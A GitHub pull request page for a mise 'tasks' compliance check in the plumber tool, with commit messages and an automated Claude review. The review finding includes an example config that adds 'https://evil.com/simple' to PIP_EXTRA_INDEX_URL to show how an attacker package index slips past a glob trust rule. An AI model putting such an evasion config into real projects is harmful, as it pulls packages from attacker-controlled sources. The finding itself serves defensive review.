Repository navigation
Conversation
aaf51fe to
3056a5d
Compare
Claude PR review — findings not anchorable to the diffNone on the latest revision. |
7beb572 to
8e87781
Compare
c4442bd to
13ee55b
Compare
Adds the tasks check of #254, configured by mise.tasks with `required` (the pipelineMustIncludeComponent expression) or `requiredGroups`. It is off in plumber:default. An empty group or a bad glob is a config error. Every mise project (a directory holding a config mise loads by default) must declare the required tasks, as `mise run` sees them there: [tasks] tables, TOML task files and executable files of the task directories (or task_config.includes, with {{ config_root }} and ** globs), and the tasks of parent directories. A required entry matches a task name or alias, globs allowed. Tasks of mise.<env>.toml do not count, and task.disable_paths / task.skip drop what they name. It fails closed: remote, templated or outside includes, and an include past 20,000 files, are not read and the finding names them. Every task path must resolve inside the repository (resolveInRepo now resolves the whole path, not only a final symlink), includes are read once per project, and each file is read once. Task files are read only when the tasks check runs (mise.Options.Tasks); an unparseable TOML task file then stops the run like any other mise file. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Part of #678. mise.tasks.required is now a list of task names or aliases, globs allowed: a mise project that misses any of them is ISSUE-1017 (was ISSUE-1031), with the missing entries in `missing`. The expression form and requiredGroups are config errors. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…und trip A parent config's task.skip and task.disable_paths drop tasks in its subprojects, and a subproject's settings do not reach the parent. An empty mise.sources.trustedRegistries (trust no URL) stays set through a YAML round trip instead of becoming absent (check no URL). Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
13ee55b to
655089c
Compare
There was a problem hiding this comment.
🔴 New control check
Medium: the sources check treats a multi-URL install_env value (space-separated PIP_EXTRA_INDEX_URL/UV_EXTRA_INDEX_URL, comma-separated GOPROXY) as one opaque string, causing both false positives on normal configs and false negatives that hide an untrusted index. (Medium)
In tableSourceOptions, an install_env entry is emitted as a single option whose value is the raw env string:
if env, ok := val["install_env"].(map[string]any); ok {
for k, v := range env {
if s, ok := v.(string); ok && isIndexEnvVar(k) {
out = append(out, ir.MiseToolOption{Name: "install_env." + k, Value: s})
}
}
}(packagemanager/mise/mise.go:849-855). That value flows unchanged into ir.MiseTool.SourceOptions and is matched as a whole by ISSUE-1016 in policies/mise_sources.rego:171-186 via not _matches(_check.trustedOptions, opt.value).
The problem is that several of the env vars in indexEnvVars (packagemanager/mise/mise.go:781-786) legitimately hold multiple URLs in one value: PIP_EXTRA_INDEX_URL/UV_EXTRA_INDEX_URL are whitespace-separated lists, and GOPROXY/GONOSUMDB are comma/pipe-separated (usually ending in the literal direct). The code never splits them, even though the sibling pipx_args/uvx_args options are explicitly split URL-by-URL through argURLs (packagemanager/mise/mise.go:748-775). This asymmetry produces two concrete wrong outcomes:
-
False positive (common). A standard Go config:
[tools] go = { version = "1.22", install_env = { GOPROXY = "https://proxy.corp,direct" } }
with
sources.trustedOptions: ["https://proxy.corp"]yieldsopt.value = "https://proxy.corp,direct", which matches the trusted pattern as neither an exact string nor (without a trailing glob) a prefix, so ISSUE-1016 fires on a completely legitimate, idiomatic GOPROXY value. The same happens for two legitimately-trusted indexes listed in onePIP_EXTRA_INDEX_URL. -
False negative (evasion). With a glob trusted pattern (the natural form for an internal index), e.g.
trustedOptions: ["https://pypi.internal.corp/**"]:[tools] python = { version = "3.12", install_env = { PIP_EXTRA_INDEX_URL = "https://pypi.internal.corp/simple https://evil.com/simple" } }
opt.valueis the whole"https://pypi.internal.corp/simple https://evil.com/simple". Because_matchescompiles the glob with no separator,*/**swallow the rest of the string, so the trusted prefix matches the entire value and ISSUE-1016 does not fire — the attacker-controlledhttps://evil.com/simpleindex is never flagged. The equivalent expressed throughpipx_argsis caught, becauseargURLssplits it into individual URLs.
Suggested fix: give install_env values the same per-URL treatment as pipx_args/uvx_args — split the value on its separator (whitespace for the pip/uv *_INDEX_URL vars, ,/| for GOPROXY/GONOSUMDB), drop non-URL tokens such as direct, and emit one MiseToolOption per URL so each is matched against trustedOptions independently.
Control: .github/claude-prompts/new-control-check.md · resolve this conversation once addressed.
What type of PR is this?
feat
What this PR does / why we need it:
The tasks check of
mise-en-place. When CI runsmise run <task>, a project's tasks are the steps that actually run, so this checks that every mise project declares the ones the organization expects.requiredrequiredis a list. Each entry matches a task name or alias, globs allowed (lint:*). One finding per project that misses any of them, with the missing entries inmissing. An empty list or a bad glob is a config error, and so are the expression form andrequiredGroupsof the earlier version of this PR. Off inplumber:default.What counts as a project's tasks, matching
mise tasks ls(checked side by side on mise 2026.11.16):mise.<env>.tomlonly loads withMISE_ENV, so its tasks and includes don't count.[tasks]tables (withalias), TOML task files, and executable files in the task directories (mise-tasks/,.mise-tasks/,.mise/tasks/,.config/mise/tasks/,mise/tasks/). Whentask_config.includesis set, it replaces those directories;{{ config_root }}and**globs are resolved.db/migrate.shisdb:migrate,test/_defaultistest).#MISE alias=headers are read.task.skipandtask.disable_pathsdrop what they name.It fails closed: remote (
git::,oci::,zip::), templated or outside-the-repo includes, and an include past 20,000 files, are not read, and the finding names them. Task files are read only when this check is on; a TOML task file that can't be parsed then stops the run, like any other mise file.The collector reads untrusted repository paths, so
resolveInReporesolves the whole path, not only a final symlink (a symlinked parent such asesc -> /can't take a read out of the repository), each include is read once per project, and the files walked are capped.Which issue(s) this PR is related to:
Part of #254 and #678 (PR 4 of 4). Based on #669 and retargeted as the earlier PRs merge.
Closes #678
Special notes for your reviewer:
mise run <task>) is mise tasks: check that the workflow runs the required tasks (mise run <task>) #679.make lintshows the 7reflect.Ptrnotes from feat(control): mise-en-place control: lockfile, versions, sources and tasks checks, local and remote (ISSUE-1001 to ISSUE-1019) #665, in files this PR doesn't touch.Does this PR introduce a user-facing change?
How was this tested?
make testpasses: the collector (packagemanager/mise/tasks_test.go: naming, aliases, inheritance, every include kind, symlinks inside and outside the repository including through a parent directory, repeated includes, the file cap, env configs,task.skip/task.disable_paths, an unreadable task file stopping the run), config decoding (the list, the rejected old forms), the Rego cases (policies/mise_tasks_test.go), and the catalog and fingerprint goldens.esc -> /): 27 s and about 200 GB read before the containment fixes, 0.9 s after, withesc/usrreported as not read.plumber analyzeon the example repo atfeature/678-by-subjectwith its own.plumber.yaml(this is the first build of the stack that loads it whole):.plumber.yaml(the tasks block)versions/issue-1012also gives ISSUE-1003), nothing at the root or inexempt-path/AI usage disclosure:
YES. Claude Code wrote the code, tests and docs, following decisions made with the author on #254 and #678. The author reviewed the changes and is responsible for them.
🤖 Generated with Claude Code